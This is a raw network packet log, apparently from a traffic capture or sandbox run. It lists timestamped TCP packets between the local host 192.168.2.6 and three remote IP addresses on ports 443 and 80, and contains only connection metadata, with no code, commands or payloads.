Dec 7, 2024 22:40:27.560209990 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.560594082 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.560606003 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.561008930 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.561013937 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.564399958 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.564727068 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.564740896 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.565216064 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.565224886 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.991441965 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.991513968 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.991585016 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.991744041 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.991766930 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.991784096 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.991795063 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.993470907 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.993539095 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.993915081 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.994007111 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.994045973 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.994045973 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.994060040 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.994065046 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.994069099 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.994138956 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.996716022 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.996716022 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.996743917 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.996753931 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.997715950 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.997771025 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.997875929 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.998996019 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.999031067 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.999099970 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.999969959 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.000000000 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.000061035 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.000170946 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.000184059 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.000194073 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.000199080 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.001686096 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.001699924 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.001754999 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.001765966 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.003565073 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.003576040 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.003648996 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.004507065 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.004518032 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.005301952 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.005310059 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:28.005356073 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.005481958 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:28.005497932 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.294464111 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:29.294531107 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:29.716114044 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.716522932 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.716996908 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.717025042 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.717113018 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.717125893 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.719038963 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.719043970 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.719047070 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.719053030 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.722726107 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.723093987 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.723095894 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.723099947 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.723479033 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.723481894 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.723556995 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.723565102 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:29.723978043 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:29.723983049 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.090343952 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.090898037 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.090918064 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.091478109 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.091483116 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.149960995 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150007963 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150213003 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150242090 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150254011 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150264978 CET	49768	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150269985 CET	443	49768	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150674105 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150731087 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150793076 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150944948 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150958061 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.150968075 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.150973082 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.152940035 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.152960062 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.153014898 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.153043985 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.153048992 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.153126001 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.153254032 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.153269053 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.153285027 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.153302908 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.157568932 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.157623053 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.157685041 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.157847881 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.157851934 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.157860994 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.157866001 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.157962084 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.158025980 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.158128023 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.158157110 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.158160925 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.158166885 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.158169985 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.160145044 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160155058 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.160217047 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160232067 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.160260916 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160285950 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160399914 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160414934 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:30.160471916 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:30.160484076 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.879492998 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.880503893 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.880526066 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.880759954 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.880767107 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.880780935 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.881141901 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.881153107 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.881577015 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.881582022 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.886848927 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.886848927 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.887131929 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.887145042 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.887526989 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.887531996 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.887748957 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.887765884 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:31.888106108 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:31.888109922 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.240552902 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:32.240586042 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:32.240679979 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:32.241434097 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:32.241450071 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:32.314352036 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.314429045 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.314665079 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.314702988 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.314702988 CET	49774	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.314722061 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.314729929 CET	443	49774	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.317403078 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.317418098 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.317532063 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.317687035 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.317698956 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.320420980 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.320477962 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.320612907 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.320642948 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.320642948 CET	49773	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.320657015 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.320664883 CET	443	49773	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322556973 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322565079 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322572947 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322593927 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322621107 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322643995 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322649956 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322674036 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322693110 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322787046 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322796106 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322808981 CET	49776	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322812080 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322813034 CET	443	49776	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322823048 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322928905 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322937965 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.322947979 CET	49775	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.322952032 CET	443	49775	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.324834108 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.324857950 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.324925900 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.324934006 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.324953079 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.324984074 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.325086117 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.325098991 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:32.325136900 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:32.325150013 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.034476995 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.035437107 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.035451889 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.035824060 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.035829067 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.040754080 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.041052103 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.041064024 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.041397095 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.041402102 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.041743040 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.041968107 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.041975975 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.042299032 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.042304039 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.189758062 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.189821959 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.189878941 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.190141916 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.190156937 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.190182924 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.190188885 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.193093061 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.193113089 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.193169117 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.193360090 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.193372011 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.468436003 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.468504906 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.468604088 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.471858025 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.471858025 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.471872091 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.471879959 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.474313974 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.474355936 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.474431992 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.474549055 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.474560976 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475123882 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475177050 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475235939 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.475379944 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.475394011 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475403070 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.475408077 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475784063 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475842953 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.475903988 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.476670027 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.476670027 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.476675987 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.476682901 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.477655888 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.477679968 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.477737904 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.477866888 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.477879047 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.479552984 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.479563951 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.479635000 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.479734898 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.479742050 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.517606974 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.517822027 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.528346062 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.528358936 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.528616905 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.530365944 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.530436039 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.530441046 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.530591965 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.571336031 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.611140966 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.611172915 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.611251116 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.611814976 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:34.611826897 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:34.788491964 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.789288998 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.789320946 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:34.789958000 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:34.789964914 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.084477901 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:35.084578991 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:35.084747076 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:35.084918976 CET	49778	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:35.084937096 CET	443	49778	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:35.222306013 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.222377062 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.222534895 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.222636938 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.222654104 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.222665071 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.222671032 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.225539923 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.225575924 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.225675106 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.225828886 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.225841999 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.756709099 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:35.756989002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:35.876375914 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:35.876614094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:35.876715899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:35.876912117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:35.911066055 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.911632061 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.911657095 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.912077904 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:35.912084103 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:35.996344090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:36.188539028 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.189492941 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.189507008 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.189996004 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.190001011 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.192850113 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.193012953 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.193259001 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.193264961 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.193350077 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.193371058 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.193684101 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.193689108 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.193818092 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.193824053 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.346420050 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.346478939 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.346539974 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.346781969 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.346791029 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.346802950 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.346808910 CET	443	49784	13.107.246.63	192.168.2.6
